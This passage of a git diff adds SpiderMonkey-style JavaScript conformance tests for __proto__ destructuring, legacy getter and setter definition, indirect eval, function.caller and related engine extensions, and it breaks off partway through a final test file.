+++ b/js/src/tests/ecma_5/extensions/destructuring-__proto__-shorthand-assignment-before-var.js
@@ -0,0 +1,49 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-__proto__-shorthand-assignment-before-var.js';
+var BUGNUMBER = 963641;
+var summary = "{ __proto__ } should work as a destructuring assignment pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+({ __proto__ } = objectWithProtoProperty(17));
+assertEq(__proto__, 17);
+
+var { __proto__ } = objectWithProtoProperty(42);
+assertEq(__proto__, 42);
+
+function nested()
+{
+ ({ __proto__ } = objectWithProtoProperty(undefined));
+ assertEq(__proto__, undefined);
+
+ var { __proto__ } = objectWithProtoProperty("fnord");
+ assertEq(__proto__, "fnord");
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/destructuring-__proto__-shorthand-assignment.js b/js/src/tests/ecma_5/extensions/destructuring-__proto__-shorthand-assignment.js
new file mode 100644
index 000000000..0ab26465f
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/destructuring-__proto__-shorthand-assignment.js
@@ -0,0 +1,49 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-__proto__-shorthand-assignment.js';
+var BUGNUMBER = 963641;
+var summary = "{ __proto__ } should work as a destructuring assignment pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+var { __proto__ } = objectWithProtoProperty(42);
+assertEq(__proto__, 42);
+
+({ __proto__ } = objectWithProtoProperty(17));
+assertEq(__proto__, 17);
+
+function nested()
+{
+ var { __proto__ } = objectWithProtoProperty("fnord");
+ assertEq(__proto__, "fnord");
+
+ ({ __proto__ } = objectWithProtoProperty(undefined));
+ assertEq(__proto__, undefined);
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/destructuring-__proto__-target-assignment.js b/js/src/tests/ecma_5/extensions/destructuring-__proto__-target-assignment.js
new file mode 100644
index 000000000..9e8ec7217
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/destructuring-__proto__-target-assignment.js
@@ -0,0 +1,50 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-__proto__-target--assignment.js';
+var BUGNUMBER = 963641;
+var summary =
+ "{ __proto__: target } should work as a destructuring assignment pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+var { __proto__: target } = objectWithProtoProperty(null);
+assertEq(target, null);
+
+({ __proto__: target } = objectWithProtoProperty("aacchhorrt"));
+assertEq(target, "aacchhorrt");
+
+function nested()
+{
+ var { __proto__: target } = objectWithProtoProperty(3.141592654);
+ assertEq(target, 3.141592654);
+
+ ({ __proto__: target } = objectWithProtoProperty(-0));
+ assertEq(target, -0);
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/destructuring-for-inof-__proto__.js b/js/src/tests/ecma_5/extensions/destructuring-for-inof-__proto__.js
new file mode 100644
index 000000000..283dee314
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/destructuring-for-inof-__proto__.js
@@ -0,0 +1,85 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-for-inof-__proto__.js';
+var BUGNUMBER = 963641;
+var summary =
+ "__proto__ should work in destructuring patterns as the targets of " +
+ "for-in/for-of loops";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+function* objectWithProtoGenerator(v)
+{
+ yield objectWithProtoProperty(v);
+}
+
+function* identityGenerator(v)
+{
+ yield v;
+}
+
+for (var { __proto__: target } of objectWithProtoGenerator(null))
+ assertEq(target, null);
+
+for ({ __proto__: target } of objectWithProtoGenerator("aacchhorrt"))
+ assertEq(target, "aacchhorrt");
+
+for ({ __proto__: target } of identityGenerator(42))
+ assertEq(target, Number.prototype);
+
+for (var { __proto__: target } in { prop: "kneedle" })
+ assertEq(target, String.prototype);
+
+for ({ __proto__: target } in { prop: "snork" })
+ assertEq(target, String.prototype);
+
+for ({ __proto__: target } in { prop: "ohia" })
+ assertEq(target, String.prototype);
+
+function nested()
+{
+ for (var { __proto__: target } of objectWithProtoGenerator(null))
+ assertEq(target, null);
+
+ for ({ __proto__: target } of objectWithProtoGenerator("aacchhorrt"))
+ assertEq(target, "aacchhorrt");
+
+ for ({ __proto__: target } of identityGenerator(42))
+ assertEq(target, Number.prototype);
+
+ for (var { __proto__: target } in { prop: "kneedle" })
+ assertEq(target, String.prototype);
+
+ for ({ __proto__: target } in { prop: "snork" })
+ assertEq(target, String.prototype);
+
+ for ({ __proto__: target } in { prop: "ohia" })
+ assertEq(target, String.prototype);
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/error-tostring-function.js b/js/src/tests/ecma_5/extensions/error-tostring-function.js
new file mode 100644
index 000000000..5e92f1075
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/error-tostring-function.js
@@ -0,0 +1,45 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 894653;
+var summary =
+ "Error.prototype.toString called on function objects should work as on any " +
+ "object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function ErrorToString(v)
+{
+ return Error.prototype.toString.call(v);
+}
+
+// The name property of function objects isn't standardized, so this must be an
+// extension-land test.
+
+assertEq(ErrorToString(function f(){}), "f");
+assertEq(ErrorToString(function g(){}), "g");
+assertEq(ErrorToString(function(){}), "");
+
+var fn1 = function() {};
+fn1.message = "ohai";
+assertEq(ErrorToString(fn1), "ohai");
+
+var fn2 = function blerch() {};
+fn2.message = "fnord";
+assertEq(ErrorToString(fn2), "blerch: fnord");
+
+var fn3 = function() {};
+fn3.message = "";
+assertEq(ErrorToString(fn3), "");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/extensions/es5ish-defineGetter-defineSetter.js b/js/src/tests/ecma_5/extensions/es5ish-defineGetter-defineSetter.js
new file mode 100644
index 000000000..681a157a8
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/es5ish-defineGetter-defineSetter.js
@@ -0,0 +1,281 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 715821;
+var summary = "Implement __define[GS]etter__ using Object.defineProperty";
+
+print(BUGNUMBER + ": " + summary);
+
+/*************
+ * UTILITIES *
+ *************/
+
+function s(desc)
+{
+ if (typeof desc === "undefined")
+ return "<undefined>";
+ assertEq(typeof desc, "object");
+ assertEq(desc !== null, true);
+
+ var str = "<enumerable: <" + desc.enumerable + ">, " +
+ " configurable: <" + desc.configurable + ">,";
+
+ if (desc.hasOwnProperty("value"))
+ {
+ return str +
+ " value: <" + desc.value + ">," +
+ " writable: <" + desc.writable + ">>";
+ }
+
+ return str +
+ " get: <" + desc.get + ">," +
+ " set: <" + desc.set + ">>";
+}
+
+function checkField(field, desc, expected)
+{
+ var present = desc.hasOwnProperty(field);
+ assertEq(present, expected.hasOwnProperty(field),
+ field + " presence mismatch (got " + s(desc) + ", expected " + s(expected) + ")");
+ if (present)
+ {
+ assertEq(desc[field], expected[field],
+ field + " value mismatch (got " + s(desc) + ", expected " + s(expected) + ")");
+ }
+}
+
+function check(obj, prop, expected)
+{
+ var desc = Object.getOwnPropertyDescriptor(obj, prop);
+ assertEq(typeof desc, typeof expected,
+ "type mismatch (got " + s(desc) + ", expected " + s(expected) + ")");
+
+ assertEq(desc.hasOwnProperty("get"), desc.hasOwnProperty("set"),
+ "bad descriptor: " + s(desc));
+ assertEq(desc.hasOwnProperty("value"), desc.hasOwnProperty("writable"),
+ "bad descriptor: " + s(desc));
+
+ assertEq(desc.hasOwnProperty("get"), !desc.hasOwnProperty("value"),
+ "bad descriptor: " + s(desc));
+
+ checkField("get", desc, expected);
+ checkField("set", desc, expected);
+ checkField("value", desc, expected);
+ checkField("writable", desc, expected);
+ checkField("enumerable", desc, expected);
+ checkField("configurable", desc, expected);
+}
+
+function expectTypeError(f)
+{
+ try
+ {
+ f();
+ throw new Error("no error thrown");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error thrown: got " + e + ", not a TypeError");
+ }
+}
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Adding a new getter, overwriting an existing one
+
+function g1() { }
+var gobj = {};
+gobj.__defineGetter__("foo", g1);
+check(gobj, "foo", { get: g1, set: undefined, enumerable: true, configurable: true });
+
+function g2() { }
+gobj.__defineGetter__("foo", g2);
+check(gobj, "foo", { get: g2, set: undefined, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a new setter, overwriting an existing one
+
+function s1() { }
+var sobj = {};
+sobj.__defineSetter__("bar", s1);
+check(sobj, "bar", { get: undefined, set: s1, enumerable: true, configurable: true });
+
+function s2() { }
+sobj.__defineSetter__("bar", s2);
+check(sobj, "bar", { get: undefined, set: s2, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a new getter, then adding a setter
+// Changing an existing accessor's enumerability, then "null"-changing the accessor
+// Changing an accessor's configurability, then "null"-changing and real-changing the accessor
+
+function g3() { }
+var gsobj = {};
+gsobj.__defineGetter__("baz", g3);
+check(gsobj, "baz", { get: g3, set: undefined, enumerable: true, configurable: true });
+
+function s3() { }
+gsobj.__defineSetter__("baz", s3);
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: true });
+
+Object.defineProperty(gsobj, "baz", { enumerable: false });
+check(gsobj, "baz", { get: g3, set: s3, enumerable: false, configurable: true });
+
+gsobj.__defineGetter__("baz", g3);
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: true });
+
+Object.defineProperty(gsobj, "baz", { enumerable: false });
+check(gsobj, "baz", { get: g3, set: s3, enumerable: false, configurable: true });
+
+gsobj.__defineSetter__("baz", s3);
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: true });
+
+Object.defineProperty(gsobj, "baz", { configurable: false });
+expectTypeError(function() { gsobj.__defineSetter__("baz", s2); });
+expectTypeError(function() { gsobj.__defineSetter__("baz", s3); });
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a new setter, then adding a getter
+// Changing an existing accessor's enumerability, then "null"-changing the accessor
+// Changing an accessor's configurability, then "null"-changing and real-changing the accessor
+
+function s4() { }
+var sgobj = {};
+sgobj.__defineSetter__("baz", s4);
+check(sgobj, "baz", { get: undefined, set: s4, enumerable: true, configurable: true });
+
+function g4() { }
+sgobj.__defineGetter__("baz", g4);
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: true });
+
+Object.defineProperty(sgobj, "baz", { enumerable: false });
+check(sgobj, "baz", { get: g4, set: s4, enumerable: false, configurable: true });
+
+sgobj.__defineSetter__("baz", s4);
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: true });
+
+Object.defineProperty(sgobj, "baz", { enumerable: false });
+check(sgobj, "baz", { get: g4, set: s4, enumerable: false, configurable: true });
+
+sgobj.__defineSetter__("baz", s4);
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: true });
+
+Object.defineProperty(sgobj, "baz", { configurable: false });
+expectTypeError(function() { sgobj.__defineGetter__("baz", g3); });
+expectTypeError(function() { sgobj.__defineSetter__("baz", s4); });
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a getter over a writable data property
+
+function g5() { }
+var gover = { quux: 17 };
+check(gover, "quux", { value: 17, writable: true, enumerable: true, configurable: true });
+
+gover.__defineGetter__("quux", g5);
+check(gover, "quux", { get: g5, set: undefined, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a setter over a writable data property
+
+function s5() { }
+var sover = { quux: 17 };
+check(sover, "quux", { value: 17, writable: true, enumerable: true, configurable: true });
+
+sover.__defineSetter__("quux", s5);
+check(sover, "quux", { get: undefined, set: s5, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a getter over a non-writable data property
+
+function g6() { }
+var gnover = { eit: 17 };
+check(gnover, "eit", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(gnover, "eit", { writable: false });
+check(gnover, "eit", { value: 17, writable: false, enumerable: true, configurable: true });
+
+gnover.__defineGetter__("eit", g6);
+check(gnover, "eit", { get: g6, set: undefined, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a setter over a non-writable data property
+
+function s6() { }
+var snover = { eit: 17 };
+check(snover, "eit", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(snover, "eit", { writable: false });
+check(snover, "eit", { value: 17, writable: false, enumerable: true, configurable: true });
+
+snover.__defineSetter__("eit", s6);
+check(snover, "eit", { get: undefined, set: s6, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a getter over a non-configurable, writable data property
+
+function g7() { }
+var gncover = { moo: 17 };
+check(gncover, "moo", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(gncover, "moo", { configurable: false });
+check(gncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+expectTypeError(function() { gncover.__defineGetter__("moo", g7); });
+check(gncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a setter over a non-configurable, writable data property
+
+function s7() { }
+var sncover = { moo: 17 };
+check(sncover, "moo", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(sncover, "moo", { configurable: false });
+check(sncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+expectTypeError(function() { sncover.__defineSetter__("moo", s7); });
+check(sncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a getter over a non-configurable, non-writable data property
+
+function g8() { }
+var gncwover = { fwoosh: 17 };
+check(gncwover, "fwoosh", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(gncwover, "fwoosh", { writable: false, configurable: false });
+check(gncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+expectTypeError(function() { gncwover.__defineGetter__("fwoosh", g7); });
+check(gncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a setter over a non-configurable, non-writable data property
+
+function s8() { }
+var sncwover = { fwoosh: 17 };
+check(sncwover, "fwoosh", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(sncwover, "fwoosh", { writable: false, configurable: false });
+check(sncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+expectTypeError(function() { sncwover.__defineSetter__("fwoosh", s7); });
+check(sncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/eval-native-callback-is-indirect.js b/js/src/tests/ecma_5/extensions/eval-native-callback-is-indirect.js
new file mode 100644
index 000000000..662f619ee
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/eval-native-callback-is-indirect.js
@@ -0,0 +1,43 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 604504;
+var summary = "eval called from a native function is indirect";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var originalEval = eval;
+
+var global = this;
+var directCheckCode = "this === global";
+
+function testArrayGeneric()
+{
+ var global = "psych!";
+ var eval = Array.map;
+
+ var mapped = eval([directCheckCode], originalEval);
+ assertEq(mapped[0], true);
+}
+
+function testStringGeneric()
+{
+ var global = "psych!";
+ var eval = String.replace;
+
+ var newString = eval(directCheckCode, directCheckCode, originalEval);
+ assertEq(newString, "true");
+}
+testStringGeneric();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/extension-methods-reject-null-undefined-this.js b/js/src/tests/ecma_5/extensions/extension-methods-reject-null-undefined-this.js
new file mode 100644
index 000000000..5ea399fe8
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/extension-methods-reject-null-undefined-this.js
@@ -0,0 +1,112 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 619283;
+var summary =
+ "ECMAScript built-in methods that immediately throw when |this| is " +
+ "|undefined| or |null| (due to CheckObjectCoercible, ToObject, or ToString)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This test fills out for the non-standard methods which
+// ecma_5/misc/builtin-methods-reject-null-undefined-this.js declines to test.
+
+var ClassToMethodMap =
+ {
+ Object: [/*
+ * Don't box this just yet for these methods -- they're used too
+ * much without qualification to do that. :-(
+ */
+ /* "__defineGetter__", "__defineSetter__", */
+ "__lookupGetter__", "__lookupSetter__", "watch", "unwatch",
+ "toSource"],
+ Function: ["toSource"],
+ Array: ["toSource"],
+ String: ["toSource", "quote", "bold", "italics", "fixed", "fontsize",
+ "fontcolor", "link", "anchor", "strike", "small", "big", "blink",
+ "sup", "sub", "substr", "trimLeft", "trimRight", "toJSON"],
+ Boolean: ["toSource", "toJSON"],
+ Number: ["toSource", "toJSON"],
+ Date: ["toSource", "toLocaleFormat", "getYear", "setYear",
+ "toGMTString"],
+ RegExp: ["toSource"],
+ Error: ["toSource"],
+ };
+
+var badThisValues = [null, undefined];
+
+function testMethod(Class, className, method)
+{
+ var expr;
+
+ // Try out explicit this values
+ for (var i = 0, sz = badThisValues.length; i < sz; i++)
+ {
+ var badThis = badThisValues[i];
+
+ expr = className + ".prototype." + method + ".call(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].call(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+
+ expr = className + ".prototype." + method + ".apply(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].apply(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+ }
+
+ // ..and for good measure..
+
+ expr = "(0, " + className + ".prototype." + method + ")()"
+ try
+ {
+ // comma operator to call GetValue() on the method and de-Reference it
+ (0, Class.prototype[method])();
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+}
+
+for (var className in ClassToMethodMap)
+{
+ var Class = this[className];
+
+ var methodNames = ClassToMethodMap[className];
+ for (var i = 0, sz = methodNames.length; i < sz; i++)
+ {
+ var method = methodNames[i];
+ testMethod(Class, className, method);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/function-caller-skips-eval-frames.js b/js/src/tests/ecma_5/extensions/function-caller-skips-eval-frames.js
new file mode 100644
index 000000000..77eb99108
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/function-caller-skips-eval-frames.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function innermost() { return arguments.callee.caller; }
+function nest() { return eval("innermost();"); }
+function nest2() { return nest(); }
+
+assertEq(nest2(), nest);
+
+var innermost = function innermost() { return arguments.callee.caller.caller; };
+
+assertEq(nest2(), nest2);
+
+function nestTwice() { return eval("eval('innermost();');"); }
+var nest = nestTwice;
+
+assertEq(nest2(), nest2);
+
+function innermostEval() { return eval("arguments.callee.caller"); }
+var innermost = innermostEval;
+
+assertEq(nest2(), nestTwice);
+
+function innermostEvalTwice() { return eval('eval("arguments.callee.caller");'); }
+var innermost = innermostEvalTwice;
+
+assertEq(nest2(), nestTwice);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/function-caller-strict-cross-global.js b/js/src/tests/ecma_5/extensions/function-caller-strict-cross-global.js
new file mode 100644
index 000000000..45fd7b1b3
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/function-caller-strict-cross-global.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g1 = newGlobal();
+g1.evaluate("function f() { return f.caller; }");
+
+var g2 = newGlobal();
+g2.f = g1.f;
+
+try
+{
+ g2.evaluate("function g() { 'use strict'; return f(); } g()");
+ throw new Error("failed to throw");
+}
+catch (e)
+{
+ assertEq(e.constructor.name, "TypeError",
+ "expected TypeError accessing strict .caller across globals, got " +
+ e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/function-definition-with.js b/js/src/tests/ecma_5/extensions/function-definition-with.js
new file mode 100644
index 000000000..2277ad45f
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/function-definition-with.js
@@ -0,0 +1,56 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577325;
+var summary = 'Implement the ES5 algorithm for processing function statements';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called, obj;
+
+function inFile1() { return "in file"; }
+called = false;
+obj = { set inFile1(v) { called = true; } };
+with (obj) {
+ function inFile1() { return "in file in with"; };
+}
+assertEq(inFile1(), "in file in with");
+assertEq("set" in Object.getOwnPropertyDescriptor(obj, "inFile1"), true);
+assertEq(called, false);
+
+evaluate("function notInFile1() { return 'not in file'; }");
+called = false;
+obj = { set notInFile1(v) { called = true; return "not in file 2"; } };
+with (obj) {
+ function notInFile1() { return "not in file in with"; };
+}
+assertEq(notInFile1(), "not in file in with");
+assertEq("set" in Object.getOwnPropertyDescriptor(obj, "notInFile1"), true);
+assertEq(called, false);
+
+function inFile2() { return "in file 1"; }
+called = false;
+obj =
+ Object.defineProperty({}, "inFile2",
+ { value: 42, configurable: false, enumerable: false });
+with (obj) {
+ function inFile2() { return "in file 2"; };
+}
+assertEq(inFile2(), "in file 2");
+assertEq(obj.inFile2, 42);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/function-properties.js b/js/src/tests/ecma_5/extensions/function-properties.js
new file mode 100644
index 000000000..9585322ef
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/function-properties.js
@@ -0,0 +1,21 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function foo()
+{
+ assertEq(foo.arguments.length, 0);
+ assertEq(foo.caller, null);
+}
+
+assertEq(foo.arguments, null);
+assertEq(foo.caller, null);
+foo();
+assertEq(foo.arguments, null);
+assertEq(foo.caller, null);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/getOwnPropertyNames-__proto__.js b/js/src/tests/ecma_5/extensions/getOwnPropertyNames-__proto__.js
new file mode 100644
index 000000000..91ee2d203
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/getOwnPropertyNames-__proto__.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 837630;
+var summary ='__proto__ should show up with O.getOwnPropertyNames(O.prototype)';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var keys = Object.getOwnPropertyNames(Object.prototype);
+assertEq(keys.indexOf("__proto__") >= 0, true,
+ "should have gotten __proto__ as a property of Object.prototype " +
+ "(got these properties: " + keys + ")");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/inc-dec-functioncall.js b/js/src/tests/ecma_5/extensions/inc-dec-functioncall.js
new file mode 100644
index 000000000..b4de03c6c
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/inc-dec-functioncall.js
@@ -0,0 +1,90 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 609756;
+var summary =
+ "Perform ToNumber on the result of the |fun()| in |fun()++| before " +
+ "throwing";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var hadSideEffect;
+
+function f()
+{
+ return { valueOf: function() { hadSideEffect = true; return 0; } };
+}
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { f()++; }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ f()++;
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { f()--; }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ f()--;
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { ++f(); }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ ++f();
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { --f(); }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ --f();
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/iterator-in-catch.js b/js/src/tests/ecma_5/extensions/iterator-in-catch.js
new file mode 100644
index 000000000..390b585e9
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/iterator-in-catch.js
@@ -0,0 +1,20 @@
+//Bug 350712
+
+function iterator () {
+ for (var i in []);
+}
+
+try {
+ try {
+ throw 5;
+ }
+ catch(error if iterator()) {
+ assertEq(false, true);
+ }
+}
+catch(error) {
+ assertEq(error, 5);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/misplaced-inconsistent-directive.js b/js/src/tests/ecma_5/extensions/misplaced-inconsistent-directive.js
new file mode 100644
index 000000000..b7b33001c
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/misplaced-inconsistent-directive.js
@@ -0,0 +1,74 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1046964;
+var summary =
+ "Misplaced directives (e.g. 'use strict') should trigger warnings if they " +
